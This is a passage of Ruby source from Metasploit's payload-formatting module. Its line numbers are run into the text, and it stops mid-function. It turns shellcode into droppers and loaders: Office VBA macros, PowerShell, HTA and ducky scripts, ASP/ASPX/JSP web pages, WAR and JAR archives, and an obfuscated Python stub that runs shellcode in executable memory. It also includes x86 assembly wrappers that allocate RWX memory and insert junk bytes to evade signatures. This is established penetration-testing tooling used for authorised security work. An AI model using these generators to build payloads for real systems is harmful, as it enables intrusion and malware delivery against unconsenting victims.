+code+1125#1126# @param framework [Msf::Framework]1127# @param code [String]1128# @param opts [Hash]1129# @option [String] :template1130# @return [String] Returns an elf1131def self.to_bsd_x86_elf(framework, code, opts = {})1132to_exe_elf(framework, opts, "template_x86_bsd.bin", code)1133end11341135# Create a 64-bit Linux ELF containing the payload provided in +code+1136#1137# @param framework [Msf::Framework]1138# @param code [String]1139# @param opts [Hash]1140# @option [String] :template1141# @return [String] Returns an elf1142def self.to_bsd_x64_elf(framework, code, opts = {})1143to_exe_elf(framework, opts, "template_x64_bsd.bin", code)1144end11451146# Create a 32-bit Solaris ELF containing the payload provided in +code+1147#1148# @param framework [Msf::Framework]1149# @param code [String]1150# @param opts [Hash]1151# @option [String] :template1152# @return [String] Returns an elf1153def self.to_solaris_x86_elf(framework, code, opts = {})1154to_exe_elf(framework, opts, "template_x86_solaris.bin", code)1155end11561157# Create a 64-bit Linux ELF containing the payload provided in +code+1158#1159# @param framework [Msf::Framework]1160# @param code [String]1161# @param opts [Hash]1162# @option [String] :template1163# @return [String] Returns an elf1164def self.to_linux_x64_elf(framework, code, opts = {})1165to_exe_elf(framework, opts, "template_x64_linux.bin", code)1166end11671168# Create a 32-bit Linux ELF_DYN containing the payload provided in +code+1169#1170# @param framework [Msf::Framework]1171# @param code [String]1172# @param opts [Hash]1173# @option [String] :template1174# @return [String] Returns an elf1175def self.to_linux_x86_elf_dll(framework, code, opts = {})1176to_exe_elf(framework, opts, "template_x86_linux_dll.bin", code)1177end11781179# Create a AARCH64 Linux ELF_DYN containing the payload provided in +code+1180#1181# @param framework [Msf::Framework]1182# @param code [String]1183# @param opts [Hash]1184# @option [String] :template1185# @return [String] Returns an elf1186def self.to_linux_aarch64_elf_dll(framework, code, opts = {})1187to_exe_elf(framework, opts, "template_aarch64_linux_dll.bin", code)1188end11891190# Create a 64-bit Linux ELF_DYN containing the payload provided in +code+1191#1192# @param framework [Msf::Framework]1193# @param code [String]1194# @param opts [Hash]1195# @option [String] :template1196# @return [String] Returns an elf1197def self.to_linux_x64_elf_dll(framework, code, opts = {})1198to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code)1199end12001201# self.to_linux_armle_elf1202#1203# @param framework [Msf::Framework]1204# @param code [String]1205# @param opts [Hash]1206# @option [String] :template1207# @return [String] Returns an elf1208def self.to_linux_armle_elf(framework, code, opts = {})1209to_exe_elf(framework, opts, "template_armle_linux.bin", code)1210end12111212# self.to_linux_armle_elf_dll1213#1214# @param framework [Msf::Framework]1215# @param code [String]1216# @param opts [Hash]1217# @option [String] :template1218# @return [String] Returns an elf-so1219def self.to_linux_armle_elf_dll(framework, code, opts = {})1220to_exe_elf(framework, opts, "template_armle_linux_dll.bin", code)1221end12221223# self.to_linux_aarch64_elf1224#1225# @param framework [Msf::Framework]1226# @param code [String]1227# @param opts [Hash]1228# @option [String] :template1229# @return [String] Returns an elf1230def self.to_linux_aarch64_elf(framework, code, opts = {})1231to_exe_elf(framework, opts, "template_aarch64_linux.bin", code)1232end12331234# self.to_linux_mipsle_elf1235# Little Endian1236# @param framework [Msf::Framework]1237# @param code [String]1238# @param opts [Hash]1239# @option [String] :template1240# @return [String] Returns an elf1241def self.to_linux_mipsle_elf(framework, code, opts = {})1242to_exe_elf(framework, opts, "template_mipsle_linux.bin", code)1243end12441245# self.to_linux_mipsbe_elf1246# Big Endian1247# @param framework [Msf::Framework]1248# @param code [String]1249# @param opts [Hash]1250# @option [String] :template1251# @return [String] Returns an elf1252def self.to_linux_mipsbe_elf(framework, code, opts = {})1253to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true)1254end12551256# Create a RISC-V 64-bit LE Linux ELF containing the payload provided in +code+1257#1258# @param framework [Msf::Framework]1259# @param code [String]1260# @param opts [Hash]1261# @option [String] :template1262# @return [String] Returns an elf1263def self.to_linux_riscv64le_elf(framework, code, opts = {})1264to_exe_elf(framework, opts, "template_riscv64le_linux.bin", code)1265end12661267# Create a RISC-V 64-bit LE Linux ELF_DYN containing the payload provided in +code+1268#1269# @param framework [Msf::Framework]1270# @param code [String]1271# @param opts [Hash]1272# @option [String] :template1273# @return [String] Returns an elf1274def self.to_linux_riscv64le_elf_dll(framework, code, opts = {})1275to_exe_elf(framework, opts, "template_riscv64le_linux_dll.bin", code)1276end12771278# Create a RISC-V 32-bit LE Linux ELF containing the payload provided in +code+1279#1280# @param framework [Msf::Framework]1281# @param code [String]1282# @param opts [Hash]1283# @option [String] :template1284# @return [String] Returns an elf1285def self.to_linux_riscv32le_elf(framework, code, opts = {})1286to_exe_elf(framework, opts, "template_riscv32le_linux.bin", code)1287end12881289# Create a RISC-V 32-bit LE Linux ELF_DYN containing the payload provided in +code+1290#1291# @param framework [Msf::Framework]1292# @param code [String]1293# @param opts [Hash]1294# @option [String] :template1295# @return [String] Returns an elf1296def self.to_linux_riscv32le_elf_dll(framework, code, opts = {})1297to_exe_elf(framework, opts, "template_riscv32le_linux_dll.bin", code)1298end12991300# self.to_exe_vba1301#1302# @param exes [String]1303def self.to_exe_vba(exes='')1304exe = exes.unpack('C*')1305hash_sub = {}1306idx = 01307maxbytes = 20001308var_base_idx = 01309var_base = Rex::Text.rand_text_alpha(5).capitalize13101311# First write the macro into the vba file1312hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize1313hash_sub[:var_fname] = var_base + (var_base_idx+=1).to_s1314hash_sub[:var_fenvi] = var_base + (var_base_idx+=1).to_s1315hash_sub[:var_fhand] = var_base + (var_base_idx+=1).to_s1316hash_sub[:var_parag] = var_base + (var_base_idx+=1).to_s1317hash_sub[:var_itemp] = var_base + (var_base_idx+=1).to_s1318hash_sub[:var_btemp] = var_base + (var_base_idx+=1).to_s1319hash_sub[:var_appnr] = var_base + (var_base_idx+=1).to_s1320hash_sub[:var_index] = var_base + (var_base_idx+=1).to_s1321hash_sub[:var_gotmagic] = var_base + (var_base_idx+=1).to_s1322hash_sub[:var_farg] = var_base + (var_base_idx+=1).to_s1323hash_sub[:var_stemp] = var_base + (var_base_idx+=1).to_s1324hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8)+8)13251326# Function 1 extracts the binary1327hash_sub[:func_name1] = var_base + (var_base_idx+=1).to_s13281329# Function 2 executes the binary1330hash_sub[:func_name2] = var_base + (var_base_idx+=1).to_s13311332hash_sub[:data] = ""13331334# Writing the bytes of the exe to the file13351.upto(exe.length) do |pc|1336while c = exe[idx]1337hash_sub[:data] << "&H#{("%.2x" % c).upcase}"1338if idx > 1 && (idx % maxbytes) == 01339# When maxbytes are written make a new paragrpah1340hash_sub[:data] << "\r\n"1341end1342idx += 11343end1344end13451346read_replace_script_template("to_exe.vba.template", hash_sub)1347end13481349# self.to_vba1350#1351# @param framework [Msf::Framework]1352# @param code [String]1353# @param opts [Hash] Unused1354def self.to_vba(framework,code,opts = {})1355hash_sub = {}1356hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1357hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1358hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1359hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1360hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1361hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1362hash_sub[:var_dwStackSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1363hash_sub[:var_lpStartAddress] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1364hash_sub[:var_lpParameter] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1365hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1366hash_sub[:var_lpThreadID] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1367hash_sub[:var_lpAddr] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1368hash_sub[:var_lSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1369hash_sub[:var_flAllocationType] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1370hash_sub[:var_flProtect] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1371hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1372hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1373hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize13741375# put the shellcode bytes into an array1376hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray])13771378read_replace_script_template("to_mem.vba.template", hash_sub)1379end13801381# self.to_powershell_vba1382#1383# @param framework [Msf::Framework]1384# @param arch [String]1385# @param code [String]1386#1387def self.to_powershell_vba(framework, arch, code)1388template_path = Rex::Powershell::Templates::TEMPLATE_DIR13891390powershell = Rex::Powershell::Command.cmd_psh_payload(code,1391arch,1392template_path,1393encode_final_payload: true,1394remove_comspec: true,1395method: 'reflection')13961397# Initialize rig and value names1398rig = Rex::RandomIdentifier::Generator.new()1399rig.init_var(:sub_auto_open)1400rig.init_var(:var_powershell)14011402hash_sub = rig.to_h1403# VBA has a maximum of 24 line continuations1404line_length = powershell.length / 241405vba_psh = '"' << powershell.scan(/.{1,#{line_length}}/).join("\" _\r\n& \"") << '"'14061407hash_sub[:powershell] = vba_psh14081409read_replace_script_template("to_powershell.vba.template", hash_sub)1410end14111412# self.to_exe_vba1413#1414# @param exes [String]1415# @param opts [Hash]1416# @option opts [String] :delay1417# @option opts [String] :persists1418# @option opts [String] :exe_filename1419def self.to_exe_vbs(exes = '', opts = {})1420delay = opts[:delay] || 51421persist = opts[:persist] || false14221423hash_sub = {}1424hash_sub[:exe_filename] = opts[:exe_filename] || Rex::Text.rand_text_alpha(rand(8)+8) << '.exe'1425hash_sub[:base64_filename] = Rex::Text.rand_text_alpha(rand(8)+8) << '.b64'1426hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8)1427hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)1428hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8)1429hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8)1430hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8)1431hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)1432hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)1433hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)1434hash_sub[:base64_shellcode] = Rex::Text.encode_base64(exes)1435hash_sub[:var_decodefunc] = Rex::Text.rand_text_alpha(rand(8)+8)1436hash_sub[:var_xml] = Rex::Text.rand_text_alpha(rand(8)+8)1437hash_sub[:var_xmldoc] = Rex::Text.rand_text_alpha(rand(8)+8)1438hash_sub[:var_decoded] = Rex::Text.rand_text_alpha(rand(8)+8)1439hash_sub[:var_adodbstream] = Rex::Text.rand_text_alpha(rand(8)+8)1440hash_sub[:var_decodebase64] = Rex::Text.rand_text_alpha(rand(8)+8)1441hash_sub[:init] = ""14421443if persist1444hash_sub[:init] << "Do\r\n"1445hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"1446hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n"1447hash_sub[:init] << "Loop\r\n"1448else1449hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"1450end14511452read_replace_script_template("to_exe.vbs.template", hash_sub)1453end14541455# self.to_exe_asp1456#1457# @param exes [String]1458# @param opts [Hash] Unused1459def self.to_exe_asp(exes = '', opts = {})1460hash_sub = {}1461hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small1462hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)1463hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8)1464hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8)1465hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8)1466hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8)1467hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)1468hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)1469hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)1470hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])1471read_replace_script_template("to_exe.asp.template", hash_sub)1472end14731474# self.to_exe_aspx1475#1476# @param exes [String]1477# @option opts [Hash]1478def self.to_exe_aspx(exes = '', opts = {})1479hash_sub = {}1480hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8)+8)1481hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)1482hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)1483hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8)+8)1484hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)1485hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8)+8)1486hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)1487hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file])1488read_replace_script_template("to_exe.aspx.template", hash_sub)1489end14901491def self.to_mem_aspx(framework, code, exeopts = {})1492# Initialize rig and value names1493rig = Rex::RandomIdentifier::Generator.new()1494rig.init_var(:var_funcAddr)1495rig.init_var(:var_hThread)1496rig.init_var(:var_pInfo)1497rig.init_var(:var_threadId)1498rig.init_var(:var_bytearray)14991500hash_sub = rig.to_h1501hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray])15021503read_replace_script_template("to_mem.aspx.template", hash_sub)1504end15051506def self.to_win32pe_psh_net(framework, code, opts={})1507Rex::Powershell::Payload.to_win32pe_psh_net(Rex::Powershell::Templates::TEMPLATE_DIR, code)1508end15091510def self.to_win32pe_psh(framework, code, opts = {})1511Rex::Powershell::Payload.to_win32pe_psh(Rex::Powershell::Templates::TEMPLATE_DIR, code)1512end15131514#1515# Reflection technique prevents the temporary .cs file being created for the .NET compiler1516# Tweaked by shellster1517# Originally from PowerSploit1518#1519def self.to_win32pe_psh_reflection(framework, code, opts = {})1520Rex::Powershell::Payload.to_win32pe_psh_reflection(Rex::Powershell::Templates::TEMPLATE_DIR, code)1521end15221523def self.to_powershell_command(framework, arch, code)1524template_path = Rex::Powershell::Templates::TEMPLATE_DIR1525Rex::Powershell::Command.cmd_psh_payload(code,1526arch,1527template_path,1528encode_final_payload: true,1529method: 'reflection')1530end15311532def self.to_powershell_ducky_script(framework, arch, code)1533template_path = Rex::Powershell::Templates::TEMPLATE_DIR1534powershell = Rex::Powershell::Command.cmd_psh_payload(code,1535arch,1536template_path,1537encode_final_payload: true,1538method: 'reflection')1539replacers = {}1540replacers[:var_payload] = powershell1541read_replace_script_template("to_powershell.ducky_script.template", replacers)1542end15431544def self.to_powershell_hta(framework, arch, code)1545template_path = Rex::Powershell::Templates::TEMPLATE_DIR15461547powershell = Rex::Powershell::Command.cmd_psh_payload(code,1548arch,1549template_path,1550encode_final_payload: true,1551remove_comspec: true,1552method: 'reflection')15531554# Initialize rig and value names1555rig = Rex::RandomIdentifier::Generator.new()1556rig.init_var(:var_shell)1557rig.init_var(:var_fso)15581559hash_sub = rig.to_h1560hash_sub[:powershell] = powershell15611562read_replace_script_template("to_powershell.hta.template", hash_sub)1563end15641565def self.to_python_reflection(framework, arch, code, exeopts)1566unless [ ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_PPC ].include? arch1567raise RuntimeError, "Msf::Util::EXE.to_python_reflection is not compatible with #{arch}"1568end1569python_code = <<~PYTHON1570#{Rex::Text.to_python(code)}1571import ctypes,os1572if os.name == 'nt':1573cbuf = (ctypes.c_char * len(buf)).from_buffer_copy(buf)1574ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p1575ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_long(0),ctypes.c_long(len(buf)),ctypes.c_int(0x3000),ctypes.c_int(0x40))1576ctypes.windll.kernel32.RtlMoveMemory.argtypes = [ctypes.c_void_p,ctypes.c_void_p,ctypes.c_int]1577ctypes.windll.kernel32.RtlMoveMemory(ptr,cbuf,ctypes.c_int(len(buf)))1578ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()1579else:1580import mmap1581from ctypes.util import find_library1582c = ctypes.CDLL(find_library('c'))1583c.mmap.restype = ctypes.c_void_p1584ptr = c.mmap(0,len(buf),mmap.PROT_READ|mmap.PROT_WRITE,mmap.MAP_ANONYMOUS|mmap.MAP_PRIVATE,-1,0)1585ctypes.memmove(ptr,buf,len(buf))1586c.mprotect.argtypes = [ctypes.c_void_p,ctypes.c_int,ctypes.c_int]1587c.mprotect(ptr,len(buf),mmap.PROT_READ|mmap.PROT_EXEC)1588ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()1589PYTHON15901591"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(python_code)}')[0]))"1592end15931594def self.to_win32pe_psh_msil(framework, code, opts = {})1595Rex::Powershell::Payload.to_win32pe_psh_msil(Rex::Powershell::Templates::TEMPLATE_DIR, code)1596end15971598def self.to_win32pe_psh_rc4(framework, code, opts = {})1599# unlike other to_win32pe_psh_* methods, this expects powershell code, not asm1600# this method should be called after other to_win32pe_psh_* methods to wrap the output1601Rex::Powershell::Payload.to_win32pe_psh_rc4(Rex::Powershell::Templates::TEMPLATE_DIR, code)1602end16031604def self.to_jsp(exe)1605hash_sub = {}1606hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)1607hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8)1608hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8)+8)1609hash_sub[:var_payloadlength] = Rex::Text.rand_text_alpha(rand(8)+8)1610hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8)+8)1611hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8)+8)1612hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8)1613hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)1614hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8)+8)1615hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8)+8)1616hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8)+8)16171618payload_hex = exe.unpack('H*')[0]1619hash_sub[:payload] = payload_hex16201621read_replace_script_template("to_exe.jsp.template", hash_sub)1622end16231624# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a1625# payload. The jsp page converts the hexdump back to a normal binary file1626# and places it in the temp directory. The payload file is then executed.1627#1628# @see to_war1629# @param exe [String] Executable to drop and run.1630# @param opts (see to_war)1631# @option opts (see to_war)1632# @return (see to_war)1633def self.to_jsp_war(exe, opts = {})1634template = self.to_jsp(exe)1635self.to_war(template, opts)1636end16371638def self.to_win32pe_vbs(framework, code, opts = {})1639to_exe_vbs(to_win32pe(framework, code, opts), opts)1640end16411642def self.to_win64pe_vbs(framework, code, opts = {})1643to_exe_vbs(to_win64pe(framework, code, opts), opts)1644end16451646# Creates a jar file that drops the provided +exe+ into a random file name1647# in the system's temp dir and executes it.1648#1649# @see Msf::Payload::Java1650#1651# @return [Rex::Zip::Jar]1652def self.to_jar(exe, opts = {})1653spawn = opts[:spawn] || 21654exe_name = Rex::Text.rand_text_alpha(8) + ".exe"1655zip = Rex::Zip::Jar.new1656zip.add_sub("metasploit") if opts[:random]1657paths = [1658[ "metasploit", "Payload.class" ],1659]16601661zip.add_file('metasploit/', '')1662paths.each do |path_parts|1663path = ['java', path_parts].flatten.join('/')1664contents = ::MetasploitPayloads.read(path)1665zip.add_file(path_parts.join('/'), contents)1666end16671668zip.build_manifest :main_class => "metasploit.Payload"1669config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n"1670zip.add_file("metasploit.dat", config)1671zip.add_file(exe_name, exe)16721673zip1674end16751676# Creates a Web Archive (WAR) file from the provided jsp code.1677#1678# On Tomcat, WAR files will be deployed into a directory with the same name1679# as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the1680# server is in a default configuration, deoployment will happen1681# automatically. See1682# {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat1683# documentation} for a description of how this works.1684#1685# @param jsp_raw [String] JSP code to be added in a file called +jsp_name+1686# in the archive. This will be compiled by the victim servlet container1687# (e.g., Tomcat) and act as the main function for the servlet.1688# @param opts [Hash]1689# @option opts :jsp_name [String] Name of the <jsp-file> in the archive1690# _without the .jsp extension_. Defaults to random.1691# @option opts :app_name [String] Name of the app to put in the <servlet-name>1692# tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to1693# random.1694# @option opts :extra_files [Array<String,String>] Additional files to add1695# to the archive. First element is filename, second is data1696#1697# @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar}1698#1699# @return [String]1700def self.to_war(jsp_raw, opts = {})1701jsp_name = opts[:jsp_name]1702jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)1703app_name = opts[:app_name]1704app_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)17051706meta_inf = [ 0xcafe, 0x0003 ].pack('Vv')1707manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"1708web_xml = %q{<?xml version="1.0"?>1709<!DOCTYPE web-app PUBLIC1710"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"1711"http://java.sun.com/dtd/web-app_2_3.dtd">1712<web-app>1713<servlet>1714<servlet-name>NAME</servlet-name>1715<jsp-file>/PAYLOAD.jsp</jsp-file>1716</servlet>1717</web-app>1718}1719web_xml.gsub!(/NAME/, app_name)1720web_xml.gsub!(/PAYLOAD/, jsp_name)17211722zip = Rex::Zip::Archive.new1723zip.add_file('META-INF/', '', meta_inf)1724zip.add_file('META-INF/MANIFEST.MF', manifest)1725zip.add_file('WEB-INF/', '')1726zip.add_file('WEB-INF/web.xml', web_xml)1727# add the payload1728zip.add_file("#{jsp_name}.jsp", jsp_raw)17291730# add extra files1731if opts[:extra_files]1732opts[:extra_files].each {|el| zip.add_file(el[0], el[1])}1733end17341735zip.pack1736end17371738# Creates a .NET DLL which loads data into memory1739# at a specified location with read/execute permissions1740# - the data will be loaded at: base+0x20651741# - default max size is 0x8000 (32768)1742# @param base [Integer] Default location set to base 0x123400001743# @param data [String]1744# @param opts [Hash]1745# @option [String] :template1746# @option [String] :base_offset1747# @option [String] :timestamp_offset1748# @option [String] :text_offset1749# @option [String] :pack1750# @option [String] :uuid_offset1751# @return [String]1752def self.to_dotnetmem(base=0x12340000, data="", opts = {})17531754# Allow the user to specify their own DLL template1755set_template_default(opts, "dotnetmem.dll")17561757pe = self.get_file_contents(opts[:template])17581759# Configure the image base1760base_offset = opts[:base_offset] || 1801761pe[base_offset, 4] = [base].pack('V')17621763# Configure the TimeDateStamp1764timestamp_offset = opts[:timestamp_offset] || 1361765pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V')17661767# XXX: Unfortunately we cant make this RWX only RX1768# Mark this segment as read-execute AND writable1769# pe[412,4] = [0xe0000020].pack("V")17701771# Write the data into the .text segment1772text_offset = opts[:text_offset] || 0x10651773text_max = opts[:text_max] || 0x80001774pack = opts[:pack] || 'a32768'1775pe[text_offset, text_max] = [data].pack(pack)17761777# Generic a randomized UUID1778uuid_offset = opts[:uuid_offset] || 376561779pe[uuid_offset,16] = Rex::Text.rand_text(16)17801781pe1782end17831784# self.encode_stub1785#1786# @param framework [Msf::Framework]1787# @param arch [String]1788# @param code [String]1789# @param platform [String]1790# @param badchars [String]1791def self.encode_stub(framework, arch, code, platform = nil, badchars = '')1792return code unless framework.encoders1793framework.encoders.each_module_ranked('Arch' => arch) do |name, mod|1794begin1795enc = framework.encoders.create(name)1796raw = enc.encode(code, badchars, nil, platform)1797return raw if raw1798rescue1799end1800end1801nil1802end18031804def self.generate_nops(framework, arch, len, opts = {})1805opts['BadChars'] ||= ''1806opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ]18071808return nil unless framework.nops1809framework.nops.each_module_ranked('Arch' => arch) do |name, mod|1810begin1811nop = framework.nops.create(name)1812raw = nop.generate_sled(len, opts)1813return raw if raw1814rescue1815# @TODO: stop rescuing everying on each of these, be selective1816end1817end1818nil1819end18201821# This wrapper is responsible for allocating RWX memory, copying the1822# target code there, setting an exception handler that calls ExitProcess1823# and finally executing the code.1824def self.win32_rwx_exec(code)1825stub_block = Rex::Payloads::Shuffle.from_graphml_file(1826File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),1827arch: ARCH_X86,1828name: 'api_call'1829)18301831stub_exit = %Q^1832; Input: EBP must be the address of 'api_call'.1833; Output: None.1834; Clobbers: EAX, EBX, (ESP will also be modified)1835; Note: Execution is not expected to (successfully) continue past this block18361837exitfunk:1838mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...1839push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )1840mov eax, ebp1841call eax ; GetVersion(); (AL will = major version and AH will = minor version)1842cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 71843jl goodbye ; Then just call the exit function...1844cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...1845jne goodbye ;1846mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread1847goodbye: ; We now perform the actual call to the exit function1848push byte 0 ; push the exit function parameter1849push ebx ; push the hash of the exit function1850call ebp ; call EXITFUNK( 0 );1851^18521853stub_alloc = %Q^1854cld ; Clear the direction flag.1855call start ; Call start, this pushes the address of 'api_call' onto the stack.1856delta: ;1857#{stub_block}1858start: ;1859pop ebp ; Pop off the address of 'api_call' for calling later.18601861allocate_size:1862mov esi, #{code.length}18631864allocate:1865push byte 0x40 ; PAGE_EXECUTE_READWRITE1866push 0x1000 ; MEM_COMMIT1867push esi ; Push the length value of the wrapped code block1868push byte 0 ; NULL as we dont care where the allocation is.1869push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )1870call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );18711872mov ebx, eax ; Store allocated address in ebx1873mov edi, eax ; Prepare EDI with the new address1874mov ecx, esi ; Prepare ECX with the length of the code1875call get_payload1876got_payload:1877pop esi ; Prepare ESI with the source to copy1878rep movsb ; Copy the payload to RWX memory1879call set_handler ; Configure error handling18801881exitblock:1882#{stub_exit}1883set_handler:1884xor eax,eax1885push dword [fs:eax]1886mov dword [fs:eax], esp1887call ebx1888jmp exitblock1889^18901891stub_final = %Q^1892get_payload:1893call got_payload1894payload:1895; Append an arbitrary payload here1896^18971898stub_alloc.gsub!('short', '')1899stub_alloc.gsub!('byte', '')19001901wrapper = ""1902# regs = %W{eax ebx ecx edx esi edi ebp}19031904cnt_jmp = 01905stub_alloc.each_line do |line|1906line.gsub!(/;.*/, '')1907line.strip!1908next if line.empty?19091910wrapper << "nop\n" if rand(2) == 019111912if rand(2) == 01913wrapper << "jmp autojump#{cnt_jmp}\n"19141.upto(rand(8)+8) do1915wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"1916end1917wrapper << "autojump#{cnt_jmp}:\n"1918cnt_jmp += 11919end1920wrapper << line + "\n"1921end19221923wrapper << stub_final19241925enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded1926enc.data + code1927end19281929# This wrapper is responsible for allocating RWX memory, copying the1930# target code there, setting an exception handler that calls ExitProcess,1931# starting the code in a new thread, and finally jumping back to the next1932# code to execute. block_offset is the offset of the next code from1933# the start of this code1934def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')1935stub_block = Rex::Payloads::Shuffle.from_graphml_file(1936File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),1937arch: ARCH_X86,1938name: 'api_call'1939)19401941stub_exit = %Q^1942; Input: EBP must be the address of 'api_call'.1943; Output: None.1944; Clobbers: EAX, EBX, (ESP will also be modified)1945; Note: Execution is not expected to (successfully) continue past this block19461947exitfunk:1948mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...1949push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )1950call ebp ; GetVersion(); (AL will = major version and AH will = minor version)1951cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 71952jl goodbye ; Then just call the exit function...1953cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...1954jne goodbye ;1955mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread1956goodbye: ; We now perform the actual call to the exit function1957push byte 0 ; push the exit function parameter1958push ebx ; push the hash of the exit function1959call ebp ; call EXITFUNK( 0 );1960^19611962stub_alloc = %Q^1963pushad ; Save registers1964cld ; Clear the direction flag.1965call start ; Call start, this pushes the address of 'api_call' onto the stack.1966delta: ;1967#{stub_block}1968start: ;1969pop ebp ; Pop off the address of 'api_call' for calling later.19701971allocate_size:1972mov esi,#{code.length}19731974allocate:1975push byte 0x40 ; PAGE_EXECUTE_READWRITE1976push 0x1000 ; MEM_COMMIT1977push esi ; Push the length value of the wrapped code block1978push byte 0 ; NULL as we dont care where the allocation is.1979push 0xE553A458 